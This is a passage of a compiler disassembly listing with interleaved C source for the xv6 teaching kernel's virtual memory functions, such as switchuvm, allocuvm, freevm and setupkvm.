running. void switchkvm(void) { 801069b5: 55 push %ebp 801069b6: 89 e5 mov %esp,%ebp lcr3(V2P(kpgdir)); // switch to the kernel page table 801069b8: 05 00 00 00 80 add $0x80000000,%eax } static inline void lcr3(uint val) { asm volatile("movl %0,%%cr3" : : "r" (val)); 801069bd: 0f 22 d8 mov %eax,%cr3 } 801069c0: 5d pop %ebp 801069c1: c3 ret 801069c2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801069c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801069d0 <switchuvm>: // Switch TSS and h/w page table to correspond to process p. void switchuvm(struct proc *p) { 801069d0: 55 push %ebp 801069d1: 89 e5 mov %esp,%ebp 801069d3: 57 push %edi 801069d4: 56 push %esi 801069d5: 53 push %ebx 801069d6: 83 ec 1c sub $0x1c,%esp 801069d9: 8b 75 08 mov 0x8(%ebp),%esi if(p == 0) 801069dc: 85 f6 test %esi,%esi 801069de: 0f 84 cd 00 00 00 je 80106ab1 <switchuvm+0xe1> panic("switchuvm: no process"); if(p->kstack == 0) 801069e4: 8b 46 08 mov 0x8(%esi),%eax 801069e7: 85 c0 test %eax,%eax 801069e9: 0f 84 da 00 00 00 je 80106ac9 <switchuvm+0xf9> panic("switchuvm: no kstack"); if(p->pgdir == 0) 801069ef: 8b 7e 04 mov 0x4(%esi),%edi 801069f2: 85 ff test %edi,%edi 801069f4: 0f 84 c3 00 00 00 je 80106abd <switchuvm+0xed> panic("switchuvm: no pgdir"); pushcli(); 801069fa: e8 41 d7 ff ff call 80104140 <pushcli> mycpu()->gdt[SEG_TSS] = SEG16(STS_T32A, &mycpu()->ts, 801069ff: e8 0c cc ff ff call 80103610 <mycpu> 80106a04: 89 c3 mov %eax,%ebx 80106a06: e8 05 cc ff ff call 80103610 <mycpu> 80106a0b: 89 c7 mov %eax,%edi 80106a0d: e8 fe cb ff ff call 80103610 <mycpu> 80106a12: 83 c7 08 add $0x8,%edi 80106a15: 89 45 e4 mov %eax,-0x1c(%ebp) 80106a18: e8 f3 cb ff ff call 80103610 <mycpu> 80106a1d: 8b 4d e4 mov -0x1c(%ebp),%ecx 80106a20: ba 67 00 00 00 mov $0x67,%edx 80106a25: 66 89 93 98 00 00 00 mov %dx,0x98(%ebx) 80106a2c: 66 89 bb 9a 00 00 00 mov %di,0x9a(%ebx) 80106a33: c6 83 9d 00 00 00 99 movb $0x99,0x9d(%ebx) 80106a3a: 83 c1 08 add $0x8,%ecx 80106a3d: c1 e9 10 shr $0x10,%ecx 80106a40: 83 c0 08 add $0x8,%eax 80106a43: c1 e8 18 shr $0x18,%eax 80106a46: 88 8b 9c 00 00 00 mov %cl,0x9c(%ebx) 80106a4c: c6 83 9e 00 00 00 40 movb $0x40,0x9e(%ebx) 80106a53: 88 83 9f 00 00 00 mov %al,0x9f(%ebx) mycpu()->gdt[SEG_TSS].s = 0; mycpu()->ts.ss0 = SEG_KDATA << 3; mycpu()->ts.esp0 = (uint)p->kstack + KSTACKSIZE; // setting IOPL=0 in eflags *and* iomb beyond the tss segment limit // forbids I/O instructions (e.g., inb and outb) from user space mycpu()->ts.iomb = (ushort) 0xFFFF; 80106a59: bb ff ff ff ff mov $0xffffffff,%ebx panic("switchuvm: no pgdir"); pushcli(); mycpu()->gdt[SEG_TSS] = SEG16(STS_T32A, &mycpu()->ts, sizeof(mycpu()->ts)-1, 0); mycpu()->gdt[SEG_TSS].s = 0; 80106a5e: e8 ad cb ff ff call 80103610 <mycpu> 80106a63: 80 a0 9d 00 00 00 ef andb $0xef,0x9d(%eax) mycpu()->ts.ss0 = SEG_KDATA << 3; 80106a6a: e8 a1 cb ff ff call 80103610 <mycpu> 80106a6f: b9 10 00 00 00 mov $0x10,%ecx 80106a74: 66 89 48 10 mov %cx,0x10(%eax) mycpu()->ts.esp0 = (uint)p->kstack + KSTACKSIZE; 80106a78: e8 93 cb ff ff call 80103610 <mycpu> 80106a7d: 8b 56 08 mov 0x8(%esi),%edx 80106a80: 8d 8a 00 10 00 00 lea 0x1000(%edx),%ecx 80106a86: 89 48 0c mov %ecx,0xc(%eax) // setting IOPL=0 in eflags *and* iomb beyond the tss segment limit // forbids I/O instructions (e.g., inb and outb) from user space mycpu()->ts.iomb = (ushort) 0xFFFF; 80106a89: e8 82 cb ff ff call 80103610 <mycpu> 80106a8e: 66 89 58 6e mov %bx,0x6e(%eax) } static inline void ltr(ushort sel) { asm volatile("ltr %0" : : "r" (sel)); 80106a92: b8 28 00 00 00 mov $0x28,%eax 80106a97: 0f 00 d8 ltr %ax ltr(SEG_TSS << 3); lcr3(V2P(p->pgdir)); // switch to process's address space 80106a9a: 8b 46 04 mov 0x4(%esi),%eax 80106a9d: 05 00 00 00 80 add $0x80000000,%eax } static inline void lcr3(uint val) { asm volatile("movl %0,%%cr3" : : "r" (val)); 80106aa2: 0f 22 d8 mov %eax,%cr3 popcli(); } 80106aa5: 83 c4 1c add $0x1c,%esp 80106aa8: 5b pop %ebx 80106aa9: 5e pop %esi 80106aaa: 5f pop %edi 80106aab: 5d pop %ebp // setting IOPL=0 in eflags *and* iomb beyond the tss segment limit // forbids I/O instructions (e.g., inb and outb) from user space mycpu()->ts.iomb = (ushort) 0xFFFF; ltr(SEG_TSS << 3); lcr3(V2P(p->pgdir)); // switch to process's address space popcli(); 80106aac: e9 cf d6 ff ff jmp 80104180 <popcli> // Switch TSS and h/w page table to correspond to process p. void switchuvm(struct proc *p) { if(p == 0) panic("switchuvm: no process"); 80106ab1: c7 04 24 b2 7a 10 80 movl $0x80107ab2,(%esp) 80106ab8: e8 a3 98 ff ff call 80100360 <panic> if(p->kstack == 0) panic("switchuvm: no kstack"); if(p->pgdir == 0) panic("switchuvm: no pgdir"); 80106abd: c7 04 24 dd 7a 10 80 movl $0x80107add,(%esp) 80106ac4: e8 97 98 ff ff call 80100360 <panic> switchuvm(struct proc *p) { if(p == 0) panic("switchuvm: no process"); if(p->kstack == 0) panic("switchuvm: no kstack"); 80106ac9: c7 04 24 c8 7a 10 80 movl $0x80107ac8,(%esp) 80106ad0: e8 8b 98 ff ff call 80100360 <panic> 80106ad5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80106ad9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80106ae0 <inituvm>: // Load the initcode into address 0 of pgdir. // sz must be less than a page. void inituvm(pde_t *pgdir, char *init, uint sz) { 80106ae0: 55 push %ebp 80106ae1: 89 e5 mov %esp,%ebp 80106ae3: 57 push %edi 80106ae4: 56 push %esi 80106ae5: 53 push %ebx 80106ae6: 83 ec 1c sub $0x1c,%esp 80106ae9: 8b 75 10 mov 0x10(%ebp),%esi 80106aec: 8b 45 08 mov 0x8(%ebp),%eax 80106aef: 8b 7d 0c mov 0xc(%ebp),%edi char *mem; if(sz >= PGSIZE) 80106af2: 81 fe ff 0f 00 00 cmp $0xfff,%esi // Load the initcode into address 0 of pgdir. // sz must be less than a page. void inituvm(pde_t *pgdir, char *init, uint sz) { 80106af8: 89 45 e4 mov %eax,-0x1c(%ebp) char *mem; if(sz >= PGSIZE) 80106afb: 77 54 ja 80106b51 <inituvm+0x71> panic("inituvm: more than a page"); mem = kalloc(); 80106afd: e8 ae b9 ff ff call 801024b0 <kalloc> memset(mem, 0, PGSIZE); 80106b02: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 80106b09: 00 80106b0a: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80106b11: 00 { char *mem; if(sz >= PGSIZE) panic("inituvm: more than a page"); mem = kalloc(); 80106b12: 89 c3 mov %eax,%ebx memset(mem, 0, PGSIZE); 80106b14: 89 04 24 mov %eax,(%esp) 80106b17: e8 d4 d7 ff ff call 801042f0 <memset> mappages(pgdir, 0, PGSIZE, V2P(mem), PTE_W|PTE_U); 80106b1c: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax 80106b22: b9 00 10 00 00 mov $0x1000,%ecx 80106b27: 89 04 24 mov %eax,(%esp) 80106b2a: 8b 45 e4 mov -0x1c(%ebp),%eax 80106b2d: 31 d2 xor %edx,%edx 80106b2f: c7 44 24 04 06 00 00 movl $0x6,0x4(%esp) 80106b36: 00 80106b37: e8 94 fc ff ff call 801067d0 <mappages> memmove(mem, init, sz); 80106b3c: 89 75 10 mov %esi,0x10(%ebp) 80106b3f: 89 7d 0c mov %edi,0xc(%ebp) 80106b42: 89 5d 08 mov %ebx,0x8(%ebp) } 80106b45: 83 c4 1c add $0x1c,%esp 80106b48: 5b pop %ebx 80106b49: 5e pop %esi 80106b4a: 5f pop %edi 80106b4b: 5d pop %ebp if(sz >= PGSIZE) panic("inituvm: more than a page"); mem = kalloc(); memset(mem, 0, PGSIZE); mappages(pgdir, 0, PGSIZE, V2P(mem), PTE_W|PTE_U); memmove(mem, init, sz); 80106b4c: e9 3f d8 ff ff jmp 80104390 <memmove> inituvm(pde_t *pgdir, char *init, uint sz) { char *mem; if(sz >= PGSIZE) panic("inituvm: more than a page"); 80106b51: c7 04 24 f1 7a 10 80 movl $0x80107af1,(%esp) 80106b58: e8 03 98 ff ff call 80100360 <panic> 80106b5d: 8d 76 00 lea 0x0(%esi),%esi 80106b60 <loaduvm>: // Load a program segment into pgdir. addr must be page-aligned // and the pages from addr to addr+sz must already be mapped. int loaduvm(pde_t *pgdir, char *addr, struct inode *ip, uint offset, uint sz) { 80106b60: 55 push %ebp 80106b61: 89 e5 mov %esp,%ebp 80106b63: 57 push %edi 80106b64: 56 push %esi 80106b65: 53 push %ebx 80106b66: 83 ec 1c sub $0x1c,%esp uint i, pa, n; pte_t *pte; if((uint) addr % PGSIZE != 0) 80106b69: f7 45 0c ff 0f 00 00 testl $0xfff,0xc(%ebp) 80106b70: 0f 85 98 00 00 00 jne 80106c0e <loaduvm+0xae> panic("loaduvm: addr must be page aligned"); for(i = 0; i < sz; i += PGSIZE){ 80106b76: 8b 75 18 mov 0x18(%ebp),%esi 80106b79: 31 db xor %ebx,%ebx 80106b7b: 85 f6 test %esi,%esi 80106b7d: 75 1a jne 80106b99 <loaduvm+0x39> 80106b7f: eb 77 jmp 80106bf8 <loaduvm+0x98> 80106b81: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80106b88: 81 c3 00 10 00 00 add $0x1000,%ebx 80106b8e: 81 ee 00 10 00 00 sub $0x1000,%esi 80106b94: 39 5d 18 cmp %ebx,0x18(%ebp) 80106b97: 76 5f jbe 80106bf8 <loaduvm+0x98> 80106b99: 8b 55 0c mov 0xc(%ebp),%edx if((pte = walkpgdir(pgdir, addr+i, 0)) == 0) 80106b9c: 31 c9 xor %ecx,%ecx 80106b9e: 8b 45 08 mov 0x8(%ebp),%eax 80106ba1: 01 da add %ebx,%edx 80106ba3: e8 98 fb ff ff call 80106740 <walkpgdir> 80106ba8: 85 c0 test %eax,%eax 80106baa: 74 56 je 80106c02 <loaduvm+0xa2> panic("loaduvm: address should exist"); pa = PTE_ADDR(*pte); 80106bac: 8b 00 mov (%eax),%eax if(sz - i < PGSIZE) n = sz - i; else n = PGSIZE; 80106bae: bf 00 10 00 00 mov $0x1000,%edi 80106bb3: 8b 4d 14 mov 0x14(%ebp),%ecx if((uint) addr % PGSIZE != 0) panic("loaduvm: addr must be page aligned"); for(i = 0; i < sz; i += PGSIZE){ if((pte = walkpgdir(pgdir, addr+i, 0)) == 0) panic("loaduvm: address should exist"); pa = PTE_ADDR(*pte); 80106bb6: 25 00 f0 ff ff and $0xfffff000,%eax if(sz - i < PGSIZE) n = sz - i; else n = PGSIZE; 80106bbb: 81 fe 00 10 00 00 cmp $0x1000,%esi 80106bc1: 0f 42 fe cmovb %esi,%edi if(readi(ip, P2V(pa), offset+i, n) != n) 80106bc4: 05 00 00 00 80 add $0x80000000,%eax 80106bc9: 89 44 24 04 mov %eax,0x4(%esp) 80106bcd: 8b 45 10 mov 0x10(%ebp),%eax 80106bd0: 01 d9 add %ebx,%ecx 80106bd2: 89 7c 24 0c mov %edi,0xc(%esp) 80106bd6: 89 4c 24 08 mov %ecx,0x8(%esp) 80106bda: 89 04 24 mov %eax,(%esp) 80106bdd: e8 8e ad ff ff call 80101970 <readi> 80106be2: 39 f8 cmp %edi,%eax 80106be4: 74 a2 je 80106b88 <loaduvm+0x28> return -1; } return 0; } 80106be6: 83 c4 1c add $0x1c,%esp if(sz - i < PGSIZE) n = sz - i; else n = PGSIZE; if(readi(ip, P2V(pa), offset+i, n) != n) return -1; 80106be9: b8 ff ff ff ff mov $0xffffffff,%eax } return 0; } 80106bee: 5b pop %ebx 80106bef: 5e pop %esi 80106bf0: 5f pop %edi 80106bf1: 5d pop %ebp 80106bf2: c3 ret 80106bf3: 90 nop 80106bf4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80106bf8: 83 c4 1c add $0x1c,%esp else n = PGSIZE; if(readi(ip, P2V(pa), offset+i, n) != n) return -1; } return 0; 80106bfb: 31 c0 xor %eax,%eax } 80106bfd: 5b pop %ebx 80106bfe: 5e pop %esi 80106bff: 5f pop %edi 80106c00: 5d pop %ebp 80106c01: c3 ret if((uint) addr % PGSIZE != 0) panic("loaduvm: addr must be page aligned"); for(i = 0; i < sz; i += PGSIZE){ if((pte = walkpgdir(pgdir, addr+i, 0)) == 0) panic("loaduvm: address should exist"); 80106c02: c7 04 24 0b 7b 10 80 movl $0x80107b0b,(%esp) 80106c09: e8 52 97 ff ff call 80100360 <panic> { uint i, pa, n; pte_t *pte; if((uint) addr % PGSIZE != 0) panic("loaduvm: addr must be page aligned"); 80106c0e: c7 04 24 ac 7b 10 80 movl $0x80107bac,(%esp) 80106c15: e8 46 97 ff ff call 80100360 <panic> 80106c1a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80106c20 <allocuvm>: // Allocate page tables and physical memory to grow process from oldsz to // newsz, which need not be page aligned. Returns new size or 0 on error. int allocuvm(pde_t *pgdir, uint oldsz, uint newsz) { 80106c20: 55 push %ebp 80106c21: 89 e5 mov %esp,%ebp 80106c23: 57 push %edi 80106c24: 56 push %esi 80106c25: 53 push %ebx 80106c26: 83 ec 1c sub $0x1c,%esp 80106c29: 8b 7d 10 mov 0x10(%ebp),%edi char *mem; uint a; if(newsz >= KERNBASE) 80106c2c: 85 ff test %edi,%edi 80106c2e: 0f 88 7e 00 00 00 js 80106cb2 <allocuvm+0x92> return 0; if(newsz < oldsz) 80106c34: 3b 7d 0c cmp 0xc(%ebp),%edi return oldsz; 80106c37: 8b 45 0c mov 0xc(%ebp),%eax char *mem; uint a; if(newsz >= KERNBASE) return 0; if(newsz < oldsz) 80106c3a: 72 78 jb 80106cb4 <allocuvm+0x94> return oldsz; a = PGROUNDUP(oldsz); 80106c3c: 8d 98 ff 0f 00 00 lea 0xfff(%eax),%ebx 80106c42: 81 e3 00 f0 ff ff and $0xfffff000,%ebx for(; a < newsz; a += PGSIZE){ 80106c48: 39 df cmp %ebx,%edi 80106c4a: 77 4a ja 80106c96 <allocuvm+0x76> 80106c4c: eb 72 jmp 80106cc0 <allocuvm+0xa0> 80106c4e: 66 90 xchg %ax,%ax if(mem == 0){ cprintf("allocuvm out of memory\n"); deallocuvm(pgdir, newsz, oldsz); return 0; } memset(mem, 0, PGSIZE); 80106c50: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 80106c57: 00 80106c58: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80106c5f: 00 80106c60: 89 04 24 mov %eax,(%esp) 80106c63: e8 88 d6 ff ff call 801042f0 <memset> if(mappages(pgdir, (char*)a, PGSIZE, V2P(mem), PTE_W|PTE_U) < 0){ 80106c68: 8d 86 00 00 00 80 lea -0x80000000(%esi),%eax 80106c6e: b9 00 10 00 00 mov $0x1000,%ecx 80106c73: 89 04 24 mov %eax,(%esp) 80106c76: 8b 45 08 mov 0x8(%ebp),%eax 80106c79: 89 da mov %ebx,%edx 80106c7b: c7 44 24 04 06 00 00 movl $0x6,0x4(%esp) 80106c82: 00 80106c83: e8 48 fb ff ff call 801067d0 <mappages> 80106c88: 85 c0 test %eax,%eax 80106c8a: 78 44 js 80106cd0 <allocuvm+0xb0> return 0; if(newsz < oldsz) return oldsz; a = PGROUNDUP(oldsz); for(; a < newsz; a += PGSIZE){ 80106c8c: 81 c3 00 10 00 00 add $0x1000,%ebx 80106c92: 39 df cmp %ebx,%edi 80106c94: 76 2a jbe 80106cc0 <allocuvm+0xa0> mem = kalloc(); 80106c96: e8 15 b8 ff ff call 801024b0 <kalloc> if(mem == 0){ 80106c9b: 85 c0 test %eax,%eax if(newsz < oldsz) return oldsz; a = PGROUNDUP(oldsz); for(; a < newsz; a += PGSIZE){ mem = kalloc(); 80106c9d: 89 c6 mov %eax,%esi if(mem == 0){ 80106c9f: 75 af jne 80106c50 <allocuvm+0x30> cprintf("allocuvm out of memory\n"); 80106ca1: c7 04 24 29 7b 10 80 movl $0x80107b29,(%esp) 80106ca8: e8 a3 99 ff ff call 80100650 <cprintf> deallocuvm(pde_t *pgdir, uint oldsz, uint newsz) { pte_t *pte; uint a, pa; if(newsz >= oldsz) 80106cad: 3b 7d 0c cmp 0xc(%ebp),%edi 80106cb0: 77 48 ja 80106cfa <allocuvm+0xda> memset(mem, 0, PGSIZE); if(mappages(pgdir, (char*)a, PGSIZE, V2P(mem), PTE_W|PTE_U) < 0){ cprintf("allocuvm out of memory (2)\n"); deallocuvm(pgdir, newsz, oldsz); kfree(mem); return 0; 80106cb2: 31 c0 xor %eax,%eax } } return newsz; } 80106cb4: 83 c4 1c add $0x1c,%esp 80106cb7: 5b pop %ebx 80106cb8: 5e pop %esi 80106cb9: 5f pop %edi 80106cba: 5d pop %ebp 80106cbb: c3 ret 80106cbc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80106cc0: 83 c4 1c add $0x1c,%esp 80106cc3: 89 f8 mov %edi,%eax 80106cc5: 5b pop %ebx 80106cc6: 5e pop %esi 80106cc7: 5f pop %edi 80106cc8: 5d pop %ebp 80106cc9: c3 ret 80106cca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi deallocuvm(pgdir, newsz, oldsz); return 0; } memset(mem, 0, PGSIZE); if(mappages(pgdir, (char*)a, PGSIZE, V2P(mem), PTE_W|PTE_U) < 0){ cprintf("allocuvm out of memory (2)\n"); 80106cd0: c7 04 24 41 7b 10 80 movl $0x80107b41,(%esp) 80106cd7: e8 74 99 ff ff call 80100650 <cprintf> deallocuvm(pde_t *pgdir, uint oldsz, uint newsz) { pte_t *pte; uint a, pa; if(newsz >= oldsz) 80106cdc: 3b 7d 0c cmp 0xc(%ebp),%edi 80106cdf: 76 0d jbe 80106cee <allocuvm+0xce> 80106ce1: 8b 4d 0c mov 0xc(%ebp),%ecx 80106ce4: 89 fa mov %edi,%edx 80106ce6: 8b 45 08 mov 0x8(%ebp),%eax 80106ce9: e8 62 fb ff ff call 80106850 <deallocuvm.part.0> } memset(mem, 0, PGSIZE); if(mappages(pgdir, (char*)a, PGSIZE, V2P(mem), PTE_W|PTE_U) < 0){ cprintf("allocuvm out of memory (2)\n"); deallocuvm(pgdir, newsz, oldsz); kfree(mem); 80106cee: 89 34 24 mov %esi,(%esp) 80106cf1: e8 0a b6 ff ff call 80102300 <kfree> return 0; 80106cf6: 31 c0 xor %eax,%eax 80106cf8: eb ba jmp 80106cb4 <allocuvm+0x94> 80106cfa: 8b 4d 0c mov 0xc(%ebp),%ecx 80106cfd: 89 fa mov %edi,%edx 80106cff: 8b 45 08 mov 0x8(%ebp),%eax 80106d02: e8 49 fb ff ff call 80106850 <deallocuvm.part.0> for(; a < newsz; a += PGSIZE){ mem = kalloc(); if(mem == 0){ cprintf("allocuvm out of memory\n"); deallocuvm(pgdir, newsz, oldsz); return 0; 80106d07: 31 c0 xor %eax,%eax 80106d09: eb a9 jmp 80106cb4 <allocuvm+0x94> 80106d0b: 90 nop 80106d0c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80106d10 <deallocuvm>: // newsz. oldsz and newsz need not be page-aligned, nor does newsz // need to be less than oldsz. oldsz can be larger than the actual // process size. Returns the new process size. int deallocuvm(pde_t *pgdir, uint oldsz, uint newsz) { 80106d10: 55 push %ebp 80106d11: 89 e5 mov %esp,%ebp 80106d13: 8b 55 0c mov 0xc(%ebp),%edx 80106d16: 8b 4d 10 mov 0x10(%ebp),%ecx 80106d19: 8b 45 08 mov 0x8(%ebp),%eax pte_t *pte; uint a, pa; if(newsz >= oldsz) 80106d1c: 39 d1 cmp %edx,%ecx 80106d1e: 73 08 jae 80106d28 <deallocuvm+0x18> kfree(v); *pte = 0; } } return newsz; } 80106d20: 5d pop %ebp 80106d21: e9 2a fb ff ff jmp 80106850 <deallocuvm.part.0> 80106d26: 66 90 xchg %ax,%ax 80106d28: 89 d0 mov %edx,%eax 80106d2a: 5d pop %ebp 80106d2b: c3 ret 80106d2c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80106d30 <freevm>: // Free a page table and all the physical memory pages // in the user part. void freevm(pde_t *pgdir) { 80106d30: 55 push %ebp 80106d31: 89 e5 mov %esp,%ebp 80106d33: 56 push %esi 80106d34: 53 push %ebx 80106d35: 83 ec 10 sub $0x10,%esp 80106d38: 8b 75 08 mov 0x8(%ebp),%esi uint i; if(pgdir == 0) 80106d3b: 85 f6 test %esi,%esi 80106d3d: 74 59 je 80106d98 <freevm+0x68> 80106d3f: 31 c9 xor %ecx,%ecx 80106d41: ba 00 00 00 80 mov $0x80000000,%edx 80106d46: 89 f0 mov %esi,%eax panic("freevm: no pgdir"); deallocuvm(pgdir, KERNBASE, 0); for(i = 0; i < NPDENTRIES; i++){ 80106d48: 31 db xor %ebx,%ebx 80106d4a: e8 01 fb ff ff call 80106850 <deallocuvm.part.0> 80106d4f: eb 12 jmp 80106d63 <freevm+0x33> 80106d51: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80106d58: 83 c3 01 add $0x1,%ebx 80106d5b: 81 fb 00 04 00 00 cmp $0x400,%ebx 80106d61: 74 27 je 80106d8a <freevm+0x5a> if(pgdir[i] & PTE_P){ 80106d63: 8b 14 9e mov (%esi,%ebx,4),%edx 80106d66: f6 c2 01 test $0x1,%dl 80106d69: 74 ed je 80106d58 <freevm+0x28> char * v = P2V(PTE_ADDR(pgdir[i])); 80106d6b: 81 e2 00 f0 ff ff and $0xfffff000,%edx uint i; if(pgdir == 0) panic("freevm: no pgdir"); deallocuvm(pgdir, KERNBASE, 0); for(i = 0; i < NPDENTRIES; i++){ 80106d71: 83 c3 01 add $0x1,%ebx if(pgdir[i] & PTE_P){ char * v = P2V(PTE_ADDR(pgdir[i])); 80106d74: 81 c2 00 00 00 80 add $0x80000000,%edx kfree(v); 80106d7a: 89 14 24 mov %edx,(%esp) 80106d7d: e8 7e b5 ff ff call 80102300 <kfree> uint i; if(pgdir == 0) panic("freevm: no pgdir"); deallocuvm(pgdir, KERNBASE, 0); for(i = 0; i < NPDENTRIES; i++){ 80106d82: 81 fb 00 04 00 00 cmp $0x400,%ebx 80106d88: 75 d9 jne 80106d63 <freevm+0x33> if(pgdir[i] & PTE_P){ char * v = P2V(PTE_ADDR(pgdir[i])); kfree(v); } } kfree((char*)pgdir); 80106d8a: 89 75 08 mov %esi,0x8(%ebp) } 80106d8d: 83 c4 10 add $0x10,%esp 80106d90: 5b pop %ebx 80106d91: 5e pop %esi 80106d92: 5d pop %ebp if(pgdir[i] & PTE_P){ char * v = P2V(PTE_ADDR(pgdir[i])); kfree(v); } } kfree((char*)pgdir); 80106d93: e9 68 b5 ff ff jmp 80102300 <kfree> freevm(pde_t *pgdir) { uint i; if(pgdir == 0) panic("freevm: no pgdir"); 80106d98: c7 04 24 5d 7b 10 80 movl $0x80107b5d,(%esp) 80106d9f: e8 bc 95 ff ff call 80100360 <panic> 80106da4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80106daa: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80106db0 <setupkvm>: }; // Set up kernel part of a page table. pde_t* setupkvm(void) { 80106db0: 55 push %ebp 80106db1: 89 e5 mov %esp,%ebp 80106db3: 56 push %esi 80106db4: 53 push %ebx 80106db5: 83 ec 10 sub $0x10,%esp pde_t *pgdir; struct kmap *k; if((pgdir = (pde_t*)kalloc()) == 0) 80106db8: e8 f3 b6 ff ff call 801024b0 <kalloc> 80106dbd: 85 c0 test %eax,%eax 80106dbf: 89 c6 mov %eax,%esi 80106dc1: 74 6d je 80106e30 <setupkvm+0x80> return 0; memset(pgdir, 0, PGSIZE); 80106dc3: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 80106dca: 00 if (P2V(PHYSTOP) > (void*)DEVSPACE) panic("PHYSTOP too high"); for(k = kmap; k < &kmap[NELEM(kmap)]; k++) 80106dcb: bb 20 a4 10 80 mov $0x8010a420,%ebx pde_t *pgdir; struct kmap *k; if((pgdir = (pde_t*)kalloc()) == 0) return 0; memset(pgdir, 0, PGSIZE); 80106dd0: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80106dd7: 00 80106dd8: 89 04 24 mov %eax,(%esp) 80106ddb: e8 10 d5 ff ff call 801042f0 <memset> if (P2V(PHYSTOP) > (void*)DEVSPACE) panic("PHYSTOP too high"); for(k = kmap; k < &kmap[NELEM(kmap)]; k++) if(mappages(pgdir, k->virt, k->phys_end - k->phys_start, 80106de0: 8b 53 0c mov 0xc(%ebx),%edx 80106de3: 8b 43 04 mov 0x4(%ebx),%eax 80106de6: 8b 4b 08 mov 0x8(%ebx),%ecx 80106de9: 89 54 24 04 mov %edx,0x4(%esp) 80106ded: 8b 13 mov (%ebx),%edx 80106def: 89 04 24 mov %eax,(%esp) 80106df2: 29 c1 sub %eax,%ecx 80106df4: 89 f0 mov %esi,%eax 80106df6: e8 d5 f9 ff ff call 801067d0 <mappages> 80106dfb: 85 c0 test %eax,%eax 80106dfd: 78 19 js 80106e18 <setupkvm+0x68> if((pgdir = (pde_t*)kalloc()) == 0) return 0; memset(pgdir, 0, PGSIZE); if (P2V(PHYSTOP) > (void*)DEVSPACE) panic("PHYSTOP too high"); for(k = kmap; k < &kmap[NELEM(kmap)]; k++) 80106dff: 83 c3 10 add $0x10,%ebx 80106e02: 81 fb 60 a4 10 80 cmp $0x8010a460,%ebx 80106e08: 72 d6 jb 80106de0 <setupkvm+0x30> 80106e0a: 89 f0 mov %esi,%eax (uint)k->phys_start, k->perm) < 0) { freevm(pgdir); return 0; } return pgdir; } 80106e0c: 83 c4 10 add $0x10,%esp 80106e0f: 5b pop %ebx 80106e10: 5e pop %esi 80106e11: 5d pop %ebp 80106e12: c3 ret 80106e13: 90 nop 80106e14: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if (P2V(PHYSTOP) > (void*)DEVSPACE) panic("PHYSTOP too high"); for(k = kmap; k < &kmap[NELEM(kmap)]; k++) if(mappages(pgdir, k->virt, k->phys_end - k->phys_start, (uint)k->phys_start, k->perm) < 0) { freevm(pgdir); 80106e18: 89 34 24 mov %esi,(%esp) 80106e1b: e8 10 ff ff ff call 80106d30 <freevm> return 0; } return pgdir; } 80106e20: 83 c4 10 add $0x10,%esp panic("PHYSTOP too high"); for(k = kmap; k < &kmap[NELEM(kmap)]; k++) if(mappages(pgdir, k->virt, k->phys_end - k->phys_start, (uint)k->phys_start, k->perm) < 0) { freevm(pgdir); return 0; 80106e23: 31 c0 xor %eax,%eax } return pgdir; } 80106e25: 5b pop %ebx 80106e26: 5e pop %esi 80106e27: 5d pop %ebp 80106e28: c3 ret 80106e29: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi { pde_t *pgdir; struct kmap *k; if((pgdir = (pde_t*)kalloc()) == 0) return 0; 80106e30: 31 c0 xor %eax,%eax 80106e32: eb d8 jmp 80106e0c <setupkvm+0x5c> 80106e34: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80106e3a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80106e40 <kvmalloc>: // Allocate one page table for the machine for the kernel address // space for scheduler processes. void kvmalloc(void) { 80106e40: 55 push %ebp 80106e41: 89 e5 mov %esp,%ebp 80106e43: 83 ec 08 sub $0x8,%esp kpgdir = setupkvm(); 80106e46: e8 65 ff ff ff call 80106db0 <setupkvm> 80106e4b: a3 a4 5b 11 80 mov %eax,0x80115ba4 // Switch h/w page table register to the kernel-only page table, // for when no process is running. void switchkvm(void) { lcr3(V2P(kpgdir)); // switch to the kernel page table 80106e50: 05 00 00 00 80 add $0x80000000,%eax 80106e55: 0f 22 d8 mov %eax,%cr3 void kvmalloc(void) { kpgdir = setupkvm(); switchkvm(); } 80106e58: c9 leave 80106e59: c3 ret 80106e5a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80106e60 <clearpteu>: // Clear PTE_U on a page. Used to create an inaccessible // page beneath the user stack. void clearpteu(pde_t *pgdir, char *uva) { 80106e60: 55 push %ebp pte_t *pte; pte = walkpgdir(pgdir, uva, 0); 80106e61: 31 c9 xor %ecx,%ecx // Clear PTE_U on a page. Used to create an inaccessible // page beneath the user stack. void clearpteu(pde_t *pgdir, char *uva) { 80106e63: 89 e5 mov %esp,%ebp 80106e65: 83 ec 18 sub $0x18,%esp pte_t *pte; pte = walkpgdir(pgdir, uva, 0); 80106e68: 8b 55 0c mov 0xc(%ebp),%edx 80106e6b: 8b 45 08 mov 0x8(%ebp),%eax 80106e6e: e8 cd f8 ff ff call 80106740 <walkpgdir> if(pte == 0) 80106e73: 85 c0 test %eax,%eax 80106e75: 74 05 je 80106e7c <clearpteu+0x1c> panic("clearpteu"); *pte &= ~PTE_U; 80106e77: 83 20 fb andl 